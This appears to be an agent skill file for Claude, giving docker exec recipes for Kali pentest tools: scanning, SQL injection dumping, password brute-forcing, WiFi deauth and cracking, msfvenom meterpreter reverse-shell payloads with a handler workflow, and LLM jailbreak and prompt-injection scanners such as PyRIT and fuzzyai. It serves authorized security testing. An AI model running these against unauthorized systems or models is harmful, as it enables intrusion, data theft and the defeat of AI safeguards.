| name | kali-docker-pentesting |
| description | Comprehensive pentesting toolkit using Kali Linux Docker container. Provides direct access to 200+ security tools without MCP overhead. Use when conducting security assessments, penetration testing, vulnerability scanning, or security research. Works via direct docker exec commands for maximum efficiency. |
Kali Docker Pentesting Skill
Overview
This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via bash_tool, making it 70% more token-efficient.
Canonical names on this host (use these verbatim — earlier versions of this skill used a bare kali, which does not match the running container):
- Image:
kali-comprehensive:latest (built from github.com/kroegha/kali-docker-pentesting: base kalilinux/kali-rolling:latest + Kali metapackages + Python security libs)
- Container:
kali-pentest (long-running; check with docker ps -a)
Verify before running commands: docker ps --filter name=kali-pentest. If the container name differs on a given machine, substitute it in the docker exec calls below.
Container Management
Starting the Container
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
kali-comprehensive
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
--cap-add=NET_RAW \
--cap-add=NET_ADMIN \
--network host \
kali-comprehensive
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-p 5900:5900 \
-p 3389:3389 \
kali-comprehensive
Running Commands
docker exec kali-pentest [tool] [options]
docker exec -it kali-pentest /bin/bash
docker cp kali-pentest:/results/scan.txt ./output/
docker cp ./wordlist.txt kali-pentest:/workspace/
Container Lifecycle
docker stop kali-pentest
docker start kali-pentest
docker rm kali-pentest
docker logs kali-pentest
Updating the Container OS & Tools
Kali is a rolling release — there is no version upgrade, you just pull the latest packages. Because the container holds 200+ tools that took a long time to install, update in place and commit rather than rebuilding from scratch.
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)
docker exec kali-pentest bash -c \
'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
apt-get -y autoremove && apt-get clean'
docker commit kali-pentest kali-comprehensive:latest
Clean rebuild (alternative): to get a fresh, smaller image from the newest base, clone the repo and rebuild — slower (re-downloads everything) but reproducible:
git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build
Tool Catalog
🔍 Network Discovery & Scanning
nmap - Network Mapper
Description: Industry-standard network scanner for host discovery, port scanning, and service detection.
Usage:
docker exec kali-pentest nmap 192.168.1.1
docker exec kali-pentest nmap -sV 192.168.1.1
docker exec kali-pentest nmap -O 192.168.1.1
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24
Common Options:
-sS - SYN stealth scan
-sT - TCP connect scan
-sU - UDP scan
-sV - Version detection
-O - OS detection
-A - Aggressive scan (OS, version, scripts, traceroute)
-p- - Scan all 65535 ports
-Pn - Skip ping (assume host is up)
-T4 - Faster timing (0-5)
-oA - Output all formats
masscan - Fast Port Scanner
Description: Extremely fast port scanner, can scan the entire internet in under 6 minutes.
Usage:
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
netdiscover - Network Discovery
Description: Active/passive ARP reconnaissance tool.
Usage:
docker exec kali-pentest netdiscover -p -i eth0
docker exec kali-pentest netdiscover -r 192.168.1.0/24
arp-scan - ARP Scanner
Description: Discovers IPv4 hosts using ARP.
Usage:
docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24
🌐 Web Application Testing
nikto - Web Server Scanner
Description: Web server vulnerability scanner.
Usage:
docker exec kali-pentest nikto -h http://target.com
docker exec kali-pentest nikto -h https://target.com -ssl
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
dirb - Directory Brute Forcer
Description: Web content scanner.
Usage:
docker exec kali-pentest dirb http://target.com
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
gobuster - Directory/DNS Enumeration
Description: Fast directory and DNS enumeration tool.
Usage:
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
wfuzz - Web Fuzzer
Description: Web application fuzzer.
Usage:
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
sqlmap - SQL Injection Tool
Description: Automatic SQL injection and database takeover tool.
Usage:
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
wpscan - WordPress Scanner
Description: WordPress vulnerability scanner.
Usage:
docker exec kali-pentest wpscan --url http://target.com
docker exec kali-pentest wpscan --url http://target.com --enumerate u
docker exec kali-pentest wpscan --url http://target.com --enumerate p
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
whatweb - Website Fingerprinting
Description: Identifies websites and web technologies.
Usage:
docker exec kali-pentest whatweb http://target.com
docker exec kali-pentest whatweb -a 3 http://target.com
docker exec kali-pentest whatweb -i /workspace/urls.txt
🔐 Password Attacks
john - John the Ripper
Description: Fast password cracker.
Usage:
docker exec kali-pentest john /workspace/hashes.txt
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt
docker exec kali-pentest john --show /workspace/hashes.txt
docker exec kali-pentest john --incremental /workspace/hashes.txt
hashcat - Advanced Password Recovery
Description: World's fastest password cracker.
Usage:
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
docker exec kali-pentest hashcat -m 0 hashes.txt --show
Hash Modes:
- 0 = MD5
- 100 = SHA1
- 1400 = SHA256
- 1700 = SHA512
- 1000 = NTLM
- 3200 = bcrypt
hydra - Network Password Cracker
Description: Fast network logon cracker.
Usage:
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
medusa - Parallel Password Cracker
Description: Speedy, parallel, modular login brute-forcer.
Usage:
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
crunch - Wordlist Generator
Description: Generates custom wordlists.
Usage:
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt
📡 Wireless Security
aircrack-ng - WiFi Security Suite
Description: Complete suite for assessing WiFi network security.
Usage:
docker exec kali-pentest airmon-ng start wlan0
docker exec kali-pentest airodump-ng wlan0mon
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
wifite - Automated Wireless Attack
Description: Automated wireless attack tool.
Usage:
docker exec kali-pentest wifite --wpa
docker exec kali-pentest wifite
docker exec kali-pentest wifite -i wlan0 --kill
reaver - WPS Attack
Description: Brute force WPS PINs.
Usage:
docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
🕵️ Information Gathering
theharvester - Email/Subdomain Harvester
Description: Gather emails, subdomains, IPs from public sources.
Usage:
docker exec kali-pentest theharvester -d target.com -b all
docker exec kali-pentest theharvester -d target.com -b google
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
dnsrecon - DNS Enumeration
Description: DNS enumeration and network reconnaissance.
Usage:
docker exec kali-pentest dnsrecon -d target.com
docker exec kali-pentest dnsrecon -d target.com -a
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
sublist3r - Subdomain Enumeration
Description: Fast subdomain enumeration using OSINT.
Usage:
docker exec kali-pentest sublist3r -d target.com
docker exec kali-pentest sublist3r -d target.com -b
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
enum4linux - SMB Enumeration
Description: Tool for enumerating information from Windows and Samba systems.
Usage:
docker exec kali-pentest enum4linux -a 192.168.1.1
docker exec kali-pentest enum4linux -U 192.168.1.1
docker exec kali-pentest enum4linux -S 192.168.1.1
dmitry - Deep Information Gathering
Description: Deepmagic Information Gathering Tool.
Usage:
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com
docker exec kali-pentest dmitry -s target.com
🛡️ Exploitation Frameworks
metasploit-framework - Penetration Testing Framework
Description: The world's most used penetration testing framework.
Usage:
docker exec -it kali-pentest msfconsole
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"
docker exec kali-pentest msfconsole -r /workspace/script.rc
Common msfvenom payloads:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
social-engineer-toolkit (SET)
Description: Social engineering penetration testing framework.
Usage:
docker exec -it kali-pentest setoolkit
🔬 Forensics & Analysis
binwalk - Firmware Analysis
Description: Analyze and extract firmware images.
Usage:
docker exec kali-pentest binwalk /workspace/firmware.bin
docker exec kali-pentest binwalk -e /workspace/firmware.bin
docker exec kali-pentest binwalk --signature /workspace/file.bin
foremost - File Carving
Description: Recover files based on headers and footers.
Usage:
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
volatility - Memory Forensics
Description: Advanced memory forensics framework.
Usage:
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
strings - Extract Strings
Description: Extract printable strings from files.
Usage:
docker exec kali-pentest strings /workspace/binary > /results/strings.txt
docker exec kali-pentest strings -n 10 /workspace/binary
docker exec kali-pentest strings -e l /workspace/binary
exiftool - Metadata Extraction
Description: Read and write meta information in files.
Usage:
docker exec kali-pentest exiftool /workspace/image.jpg
docker exec kali-pentest exiftool -all= /workspace/image.jpg
docker exec kali-pentest exiftool /workspace/*.jpg
🔄 Reverse Engineering
ghidra - Software Reverse Engineering
Description: NSA's software reverse engineering framework.
Usage:
docker exec -it kali-pentest ghidra
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
radare2 - Reverse Engineering Framework
Description: Advanced reverse engineering framework.
Usage:
docker exec -it kali-pentest r2 /workspace/binary
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
gdb - GNU Debugger
Description: Standard debugger for Unix systems.
Usage:
docker exec -it kali-pentest gdb /workspace/binary
docker exec -it kali-pentest gdb -q /workspace/binary
🎯 Vulnerability Assessment
lynis - Security Auditing
Description: Security auditing tool for Unix/Linux systems.
Usage:
docker exec kali-pentest lynis audit system
docker exec kali-pentest lynis audit system --quick
nikto - Web Vulnerability Scanner
(See Web Application Testing section)
openvas - Vulnerability Scanner
Description: Full-featured vulnerability scanner.
Usage:
docker exec kali-pentest openvas-start
🤖 LLM / Prompt-Injection Testing
Tools for assessing LLM-backed applications (chatbots, RAG systems, AI agents) for prompt injection, jailbreaks, data leakage, and related GenAI risks. These are not in stock Kali — they were added to this image (see Updating the Container).
Install layout (isolated to avoid conflicts with Kali's apt-managed system Python):
| Tool | Install method | Invoke as |
|---|
| garak | pipx (global) | garak |
| agentic-radar | pipx (global) | agentic-radar |
| promptfoo | npm (global) | promptfoo |
| promptmap2 | git clone /opt/promptmap | cd /opt/promptmap && python3 promptmap2.py |
| PyRIT | venv /opt/venvs/pyrit | /opt/venvs/pyrit/bin/python |
| fuzzyai | venv /opt/venvs/fuzzyai | /opt/venvs/fuzzyai/bin/fuzzyai |
Before you run anything:
garak - LLM Vulnerability Scanner ("nmap for LLMs")
Description: NVIDIA's broad-coverage probe/detector scanner (prompt injection, jailbreak, data leakage, encoding attacks, toxicity). Run-first baseline; produces a scored report. Actively maintained.
Usage:
docker exec kali-pentest garak --list_probes
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
garak --model_type openai --model_name gpt-4o-mini --probes promptinject
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
promptmap2 - Targeted Prompt-Injection Scanner
Description: Purpose-built injection tester for a specific app. White-box (supply the system prompt) or black-box (point at an HTTP endpoint). YAML rule categories: jailbreak, prompt stealing, harmful, distraction, bias. Installed under /opt/promptmap.
Usage:
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
'cd /opt/promptmap && python3 promptmap2.py \
--prompts /workspace/system_prompt.txt \
--target-model gpt-4o-mini --target-model-type openai'
promptfoo - Red-Team & Eval Framework (standards-mapped)
Description: Node-based CLI. Red-team mode auto-generates adversarial prompts via 50+ plugins (prompt injection, jailbreak, PII, excessive agency) and maps findings to OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS — best for repeatable, reportable engagements.
Usage:
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
bash -c 'cd /workspace && promptfoo redteam run'
PyRIT - Multi-Turn AI Red-Teaming Framework
Description: Microsoft's scriptable framework for deeper, multi-turn attacks (Crescendo, TAP, Skeleton Key) against OpenAI/Azure/Anthropic/custom HTTP targets. A Python library, not a one-shot CLI — the "go deep" tool once garak/promptmap surface something. Heaviest dependency footprint.
Usage:
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
/opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
agentic-radar - Agentic Workflow Scanner
Description: SplxAI static-analysis scanner for agentic apps (LangGraph, CrewAI, OpenAI Agents SDK, n8n, MCP tools). Maps agent/tool topology and flags vulnerabilities garak/promptmap can't see. Use when the target is an agent, not a bare model.
Usage:
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
fuzzyai - Aggressive Jailbreak Fuzzer
Description: CyberArk's LLM fuzzer focused on jailbreaks — ASCII/Unicode-tag smuggling, genetic adversarial-suffix, many-shot. Multi-provider. Installed in a dedicated venv at /opt/venvs/fuzzyai (its upstream torch/numpy pins were relaxed for Python 3.13 compatibility). Subcommands: fuzz and webui. Check the wiki for the full attack-mode list, which changes between versions.
Usage:
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
/opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
Reference frameworks (cite these in reports)
📊 Network Analysis
tcpdump - Packet Capture
Description: Command-line packet analyzer.
Usage:
docker exec kali-pentest tcpdump -i eth0
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap
docker exec kali-pentest tcpdump -r /results/capture.pcap
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
tshark - Network Protocol Analyzer
Description: Terminal-based Wireshark.
Usage:
docker exec kali-pentest tshark -i eth0
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
ettercap - Network Sniffer/Interceptor
Description: Comprehensive suite for MITM attacks.
Usage:
docker exec -it kali-pentest ettercap -T -i eth0
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
Common Pentesting Workflows
1. Network Reconnaissance
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
2. Web Application Assessment
docker exec kali-pentest whatweb http://target.com
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch
3. Password Cracking Workflow
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
4. Wireless Network Assessment
docker exec kali-pentest airmon-ng start wlan0
docker exec kali-pentest airodump-ng wlan0mon
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
5. Exploitation Workflow
docker exec kali-pentest searchsploit apache 2.4.49
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
File Management
Copying Files Between Host and Container
docker cp ./local-file.txt kali-pentest:/workspace/
docker cp kali-pentest:/results/scan.txt ./output/
docker cp kali-pentest:/results/ ./output/
Working with Wordlists
Common Wordlist Locations:
/usr/share/wordlists/rockyou.txt - Most popular password list
/usr/share/wordlists/dirb/common.txt - Common directories
/usr/share/seclists/ - SecLists collection
/usr/share/wordlists/metasploit/ - Metasploit wordlists
docker exec kali-pentest find /usr/share/wordlists -type f
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz
Troubleshooting
Container Won't Start
docker logs kali-pentest
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive
Network Issues
docker run -d --name kali-pentest --network host kali-comprehensive
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
Permission Issues
docker exec -u root kali-pentest [command]
docker exec kali-pentest chmod -R 777 /workspace /results
Metasploit Database Issues
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init
docker exec kali-pentest msfdb status
Best Practices
1. Always Save Results
-o filename.txt
-oA basename
-w filename
> /results/output.txt
2. Use Volumes for Persistence
Mount volumes for:
/workspace - Working files
/results - Scan results
/wordlists - Custom wordlists
3. Scope Your Testing
Always:
- Get written authorization
- Define scope boundaries
- Document everything
- Report findings responsibly
4. Clean Up After Testing
docker exec kali-pentest airmon-ng stop wlan0mon
docker exec kali-pentest rm -rf /tmp/*
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
Quick Reference
Port Scanning
docker exec kali-pentest nmap -sV -p- target
Directory Enumeration
docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
SQL Injection
docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch
Password Cracking
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Network Brute Force
docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target
WiFi Cracking
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
When to Use This Skill
Use this skill when:
- Conducting authorized penetration testing
- Performing security assessments
- Testing network security
- Analyzing web applications
- Cracking passwords (authorized)
- Wireless security auditing
- Forensics analysis
- Reverse engineering
- Learning security techniques
Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.